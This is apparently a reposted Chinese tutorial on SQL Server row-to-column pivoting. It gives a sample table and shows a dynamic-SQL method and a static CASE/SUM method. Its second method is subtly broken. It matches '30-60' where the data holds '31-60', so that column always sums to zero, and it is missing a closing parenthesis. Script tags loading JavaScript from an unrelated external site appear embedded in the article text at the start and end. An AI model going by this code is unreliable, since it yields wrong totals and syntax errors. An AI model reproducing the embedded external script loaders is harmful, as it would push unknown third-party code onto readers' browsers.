最近坛子里问行列转换的很多,简单总结一下。

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>1 .最基本的行列转换:

create   table  table1(厂家  varchar ( 10 ),帐期  varchar ( 20 ),num   int )
insert   into  table1
select   ' A ' ,   ' 0-30 '   , 10    union   all
select   ' A ' ,   ' 31-60 '    , 20    union   all
select   ' A ' ,    ' 60以上 '   , 30   union   all   
select   ' A ' ,    ' 60以上 '   , 40   union   all   
select   ' B ' ,    ' 0-30 '     , 40   union   all
select   ' B ' ,   ' 31-60 '   , NULL   union   all
select   ' B ' ,     ' 60以上 '  , 60  

-- 原始数据格式
select   *   from  table1

-- 行列转换
--
方法1
declare   @sql   varchar ( 8000 )
select   @sql = ''
select   @sql = @sql + ' ,sum(case 帐期 when  ''' + 帐期 + '''  then num else 0 end) as  ''' + 帐期 + ''''
from  table1
group   by  帐期
exec ( ' select 厂家 ' + @sql + '  from table1 group by 厂家 ' )

-- 方法2:
select  
厂家,
' 0-30 ' = sum ( case  帐期  when   ' 0-30 '   then  num  else   0   end ),
' 31-60 ' = sum ( case  帐期  when   ' 30-60 '   then  num  else   0   end ),
' 60以上 ' = sum ( case  帐期  when   ' 60以上 '   then  num  else   0   end
from  table1  group   by  厂家

-- 删除测试表
drop   table  table1


文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值